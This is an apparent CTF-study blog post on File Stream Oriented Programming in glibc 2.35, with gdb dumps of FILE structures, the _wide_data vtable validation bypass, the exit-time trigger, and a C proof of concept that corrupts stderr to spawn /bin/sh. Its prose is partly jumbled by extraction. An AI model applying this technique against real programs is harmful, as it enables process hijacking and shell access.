[FSOP] Exploiting FSOP in glibc 2.35
Table of Contents
FSOP technique using _IO_flush_all_lockp FSOP(File Stream Oriented Programming) is an attack technique using file stream pointers created for file I/O. The exploitation scenario varies slightly by glibc version, but the common parts are: This attack exploits this logic to manipulate execution flow. I studied this content to solve the clip_board challenge, and organizing it seems useful for future application. When creating a file stream using file I/O functions like The While different fields are used for different FSOP techniques, the important field for this post is Similarly, with symbols, you can print in Finally, the last field of Despite only printing structures, it got very long. Just referencing the output method and prototype later should be helpful. With a It verifies whether the address is in the While searching for methods, I got an idea from this post - apparently there’s no verification logic for the Following these function macros shows that The mentioned post triggered FSOP using Checking the When specific conditions are met, the Among these, After constructing a new Since the Choose whichever available method works. 0x00. Introduction
vtable area of file stream pointers contains corresponding function pointers for each situationfopen, fread, fwrite, fclose, etc 0x01. FILE Structure
fopen, an _IO_FILE_plus structure is created.struct _IO_FILE_plus
{
_IO_FILE file;
const struct _IO_jump_t *vtable;
};
struct _IO_FILE
{
int _flags; /* High-order word is _IO_MAGIC; rest is flags. */
/* The following pointers correspond to the C++ streambuf protocol. */
char *_IO_read_ptr; /* Current read pointer */
char *_IO_read_end; /* End of get area. */
char *_IO_read_base; /* Start of putback+get area. */
char *_IO_write_base; /* Start of put area. */
char *_IO_write_ptr; /* Current put pointer. */
char *_IO_write_end; /* End of put area. */
char *_IO_buf_base; /* Start of reserve area. */
char *_IO_buf_end; /* End of reserve area. */
/* The following fields are used to support backing up and undo. */
char *_IO_save_base; /* Pointer to start of non-current get area. */
char *_IO_backup_base; /* Pointer to first valid character of backup area */
char *_IO_save_end; /* Pointer to end of non-current get area. */
struct _IO_marker *_markers;
struct _IO_FILE *_chain;
int _fileno;
int _flags2;
__off_t _old_offset; /* This used to be _offset but it's too small. */
/* 1+column number of pbase(); 0 is unknown. */
unsigned short _cur_column;
signed char _vtable_offset;
char _shortbuf[1];
_IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};_IO_FILE_plus structure includes the _IO_FILE structure. In a gdb environment with libc symbols, you can print in structure format.gef➤ p *(struct _IO_FILE_plus *) 0x7ffff7fa5780
$1 = {
file = {
_flags = 0xfbad2887,
_IO_read_ptr = 0x7ffff7fa5803 <_IO_2_1_stdout_+131> "\n",
_IO_read_end = 0x7ffff7fa5803 <_IO_2_1_stdout_+131> "\n",
_IO_read_base = 0x7ffff7fa5803 <_IO_2_1_stdout_+131> "\n",
_IO_write_base = 0x7ffff7fa5803 <_IO_2_1_stdout_+131> "\n",
_IO_write_ptr = 0x7ffff7fa5803 <_IO_2_1_stdout_+131> "\n",
_IO_write_end = 0x7ffff7fa5803 <_IO_2_1_stdout_+131> "\n",
_IO_buf_base = 0x7ffff7fa5803 <_IO_2_1_stdout_+131> "\n",
_IO_buf_end = 0x7ffff7fa5804 <_IO_2_1_stdout_+132> "",
_IO_save_base = 0x0,
_IO_backup_base = 0x0,
_IO_save_end = 0x0,
_markers = 0x0,
_chain = 0x7ffff7fa4aa0 <_IO_2_1_stdin_>,
_fileno = 0x1,
_flags2 = 0x0,
_old_offset = 0xffffffffffffffff,
_cur_column = 0x0,
_vtable_offset = 0x0,
_shortbuf = "\n",
_lock = 0x7ffff7fa6a70 <_IO_stdfile_1_lock>,
_offset = 0xffffffffffffffff,
_codecvt = 0x0,
_wide_data = 0x7ffff7fa49a0 <_IO_wide_data_1>,
_freeres_list = 0x0,
_freeres_buf = 0x0,
__pad5 = 0x0,
_mode = 0xffffffff,
_unused2 = '\000' <repeats 19 times>
},
vtable = 0x7ffff7fa1600 <_IO_file_jumps>
}_wide_data._IO_wide_data structure format in gdb.gef➤ p *(struct _IO_wide_data *) 0x7ffff7fa49a0
$2 = {
_IO_read_ptr = 0x0,
_IO_read_end = 0x0,
_IO_read_base = 0x0,
_IO_write_base = 0x0,
_IO_write_ptr = 0x0,
_IO_write_end = 0x0,
_IO_buf_base = 0x0,
_IO_buf_end = 0x0,
_IO_save_base = 0x0,
_IO_backup_base = 0x0,
_IO_save_end = 0x0,
_IO_state = {
__count = 0x0,
__value = {
__wch = 0x0,
__wchb = "\000\000\000"
}
},
_IO_last_state = {
__count = 0x0,
__value = {
__wch = 0x0,
__wchb = "\000\000\000"
}
},
_codecvt = {
__cd_in = {
step = 0x0,
step_data = {
__outbuf = 0x0,
__outbufend = 0x0,
__flags = 0x0,
__invocation_counter = 0x0,
__internal_use = 0x0,
__statep = 0x0,
__state = {
__count = 0x0,
__value = {
__wch = 0x0,
__wchb = "\000\000\000"
}
}
}
},
__cd_out = {
step = 0x0,
step_data = {
__outbuf = 0x0,
__outbufend = 0x0,
__flags = 0x0,
__invocation_counter = 0x0,
__internal_use = 0x0,
__statep = 0x0,
__state = {
__count = 0x0,
__value = {
__wch = 0x0,
__wchb = "\000\000\000"
}
}
}
}
},
_shortbuf = L"",
_wide_vtable = 0x7ffff7fa10c0 <_IO_wfile_jumps>
}_IO_wide_data stores a pointer containing vtable information, identical to _IO_FILE_plus. Output in _IO_jump_t structure format looks like this.gef➤ p *(struct _IO_jump_t *) 0x7ffff7fa10c0
$3 = {
__dummy = 0x0,
__dummy2 = 0x0,
__finish = 0x7ffff7e15ff0 <_IO_new_file_finish>,
__overflow = 0x7ffff7e10390 <__GI__IO_wfile_overflow>,
__underflow = 0x7ffff7e0efd0 <__GI__IO_wfile_underflow>,
__uflow = 0x7ffff7e0d840 <__GI__IO_wdefault_uflow>,
__pbackfail = 0x7ffff7e0d600 <__GI__IO_wdefault_pbackfail>,
__xsputn = 0x7ffff7e10840 <__GI__IO_wfile_xsputn>,
__xsgetn = 0x7ffff7e152b0 <__GI__IO_file_xsgetn>,
__seekoff = 0x7ffff7e0f750 <__GI__IO_wfile_seekoff>,
__seekpos = 0x7ffff7e184b0 <_IO_default_seekpos>,
__setbuf = 0x7ffff7e145a0 <_IO_new_file_setbuf>,
__sync = 0x7ffff7e106a0 <__GI__IO_wfile_sync>,
__doallocate = 0x7ffff7e09e90 <_IO_wfile_doallocate>,
__read = 0x7ffff7e15930 <__GI__IO_file_read>,
__write = 0x7ffff7e14ec0 <_IO_new_file_write>,
__seek = 0x7ffff7e14670 <__GI__IO_file_seek>,
__close = 0x7ffff7e14590 <__GI__IO_file_close>,
__stat = 0x7ffff7e14eb0 <__GI__IO_file_stat>,
__showmanyc = 0x7ffff7e19420 <_IO_default_showmanyc>,
__imbue = 0x7ffff7e19430 <_IO_default_imbue>
} 0x02. Strategy
Validation Bypass
vtable, you’d think overwriting function addresses in that area would call those functions. Unfortunately, logic to verify vtable was added from glibc 2.27 onwards. For example, in glibc 2.35, IO_validate_vtable is implemented as follows.IO_validate_vtable (const struct _IO_jump_t *vtable)
{
/* Fast path: The vtable pointer is within the __libc_IO_vtables
section. */
uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables;
uintptr_t ptr = (uintptr_t) vtable;
uintptr_t offset = ptr - (uintptr_t) __start___libc_IO_vtables;
if (__glibc_unlikely (offset >= section_length))
/* The vtable pointer is not in the expected section. Use the
slow path, which will terminate the process if necessary. */
_IO_vtable_check ();
return vtable;
}_libc_IO_vtables area by checking if the offset between vtable’s address and __start___libc_IO_vtables exceeds section_length.vtable in the aforementioned _wide_data.// _IO_FILE_plus->vtable functions
#define JUMP1(FUNC, THIS, X1) (_IO_JUMPS_FUNC(THIS)->FUNC) (THIS, X1)
#define _IO_JUMPS_FUNC(THIS) (IO_validate_vtable (_IO_JUMPS_FILE_plus (THIS)))
// _IO_FILE_plus->_IO_wide_data->_wide_vtable functions
#define WJUMP1(FUNC, THIS, X1) (_IO_WIDE_JUMPS_FUNC(THIS)->FUNC) (THIS, X1)
#define _IO_WIDE_JUMPS_FUNC(THIS) _IO_WIDE_JUMPS(THIS)
#define _IO_WIDE_JUMPS(THIS) \
_IO_CAST_FIELD_ACCESS ((THIS), struct _IO_FILE, _wide_data)->_wide_vtable
#define _IO_CAST_FIELD_ACCESS(THIS, TYPE, MEMBER) \
(*(_IO_MEMBER_TYPE (TYPE, MEMBER) *)(((char *) (THIS)) \
+ offsetof(TYPE, MEMBER)))
#define _IO_MEMBER_TYPE(TYPE, MEMBER) __typeof__ (((TYPE){}).MEMBER)_IO_WIDE_JUMPS_FUNC doesn’t call the IO_validate_vtable function. Trigger
fflush(). While searching for how to trigger in situations where fflush() isn’t called, I referenced this presentation and confirmed the _IO_flush_all_lockp function is called in these situations:exit functionmain_IO_flush_all_lockp function in glibc 2.35 shows:int
_IO_flush_all_lockp (int do_lock)
{
int result = 0;
FILE *fp;
#ifdef _IO_MTSAFE_IO
_IO_cleanup_region_start_noarg (flush_cleanup);
_IO_lock_lock (list_all_lock);
#endif
for (fp = (FILE *) _IO_list_all; fp != NULL; fp = fp->_chain)
{
run_fp = fp;
if (do_lock)
_IO_flockfile (fp);
if (
((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
|| (_IO_vtable_offset (fp) == 0
&& fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
> fp->_wide_data->_IO_write_base))
)
&& _IO_OVERFLOW (fp, EOF) == EOF)
result = EOF;
if (do_lock)
_IO_funlockfile (fp);
run_fp = NULL;
}
#ifdef _IO_MTSAFE_IO
_IO_lock_unlock (list_all_lock);
_IO_cleanup_region_end (0);
#endif
return result;
}_IO_OVERFLOW function is called. Field values to set when constructing or overwriting a new fp are:fp->flags = 0fp->vtable = &_IO_wfile_jumpsfp->mode = 1 (value greater than 0)fp->_wide_data->_IO_write_ptr = 1 or &anywhere_rwfp->_wide_data->_IO_write_base = 0fp->_wide_data->_wide_vtable = &fake_vtable_IO_write_ptr just needs to be greater than _IO_write_base. But if possible, it’s better to allocate a readable/writable area and write its address.
fp, memory is configured as shown above. The last thing to do is unlink _IO_list_all.
_IO_flush_all_lockp function traverses file streams in _IO_list_all checking if conditions to call _IO_OVERFLOW are met,_IO_list_all point to the new fp as shown above_chain field well so fp enters in the middle 0x03. PoC
//GNU C Library (Ubuntu GLIBC 2.35-0ubuntu3.1) stable release version 2.35.
//Compiled by GNU CC version 11.2.0.
#include<stdio.h>
#include<stdlib.h>
#include<stdint.h>
#include<unistd.h>
#include<string.h>
void backdoor()
{
system("/bin/sh");
}
int main()
{
setbuf(stdin, 0);
setbuf(stdout, 0);
setbuf(stderr, 0);
char *p1 = calloc(0x200, 1);
char *p2 = calloc(0x200, 1);
char *p3 = calloc(0x200, 1);
size_t puts_addr = (size_t)&puts;
printf("[*] puts address: %p\n", (void *)puts_addr);
size_t libc_base_addr = puts_addr - 0x80e50;
printf("[*] libc base address: %p\n", (void *)libc_base_addr);
size_t _IO_2_1_stderr_addr = libc_base_addr + 0x21b6a0;
printf("[*] _IO_2_1_stderr_ address: %p\n", (void *)_IO_2_1_stderr_addr);
size_t _IO_wfile_jumps_addr = libc_base_addr + 0x2170c0;
printf("[*] _IO_wfile_jumps address: %p\n", (void *)_IO_wfile_jumps_addr);
char *stderr2 = (char *)_IO_2_1_stderr_addr;
puts("[+] step 1: change stderr->_flags = 0x0");
*(size_t *)stderr2 = 0;
puts("[+] step 2: set stderr->_wide_data = p1");
*(size_t *)(stderr2 + 0xa0) = (size_t)p1;
puts("[+] step 3: change stderr->vtable to _IO_wfile_jumps");
*(size_t *)(stderr2 + 0xd8) = _IO_wfile_jumps_addr;
puts("[+] step 4: set stderr->_mode > 0");
*(size_t *)(stderr2 + 0xc0) = 1;
puts("[+] step 5: set stderr->_wide_data->_IO_write_base = 0x0");
*(size_t *)(p1 + 0x18) = (size_t)0x0;
puts("[+] step 6: set stderr->_wide_data->_IO_write_ptr = p2(anywhere rw)");
*(size_t *)(p1 + 0x20) = (size_t)p2;
puts("[+] step 7: set stderr->_wide_data->_wide_vtable = p3");
*(size_t *)(p1 + 0xe0) = (size_t)p3;
puts("[+] step 8: put backdoor at fake _wide_vtable->doallocate");
// *(size_t *)(p3 + 0x10) = (size_t)(&backdoor);
// *(size_t *)(p3 + 0x18) = (size_t)(&backdoor);
// *(size_t *)(p3 + 0x20) = (size_t)(&backdoor);
// *(size_t *)(p3 + 0x28) = (size_t)(&backdoor);
// *(size_t *)(p3 + 0x30) = (size_t)(&backdoor);
// *(size_t *)(p3 + 0x38) = (size_t)(&backdoor);
// *(size_t *)(p3 + 0x40) = (size_t)(&backdoor);
// *(size_t *)(p3 + 0x48) = (size_t)(&backdoor);
// *(size_t *)(p3 + 0x50) = (size_t)(&backdoor);
// *(size_t *)(p3 + 0x58) = (size_t)(&backdoor);
// *(size_t *)(p3 + 0x60) = (size_t)(&backdoor);
*(size_t *)(p3 + 0x68) = (size_t)(&backdoor);
// *(size_t *)(p3 + 0x70) = (size_t)(&backdoor);
// *(size_t *)(p3 + 0x78) = (size_t)(&backdoor);
// *(size_t *)(p3 + 0x80) = (size_t)(&backdoor);
// *(size_t *)(p3 + 0x88) = (size_t)(&backdoor);
// *(size_t *)(p3 + 0x90) = (size_t)(&backdoor);
// *(size_t *)(p3 + 0x98) = (size_t)(&backdoor);
// *(size_t *)(p3 + 0xa0) = (size_t)(&backdoor);
puts("[+] step 9: return to trigger backdoor func");
return 0;
// fflush(stderr); // doesn't need fflush();
} 0x04. Reference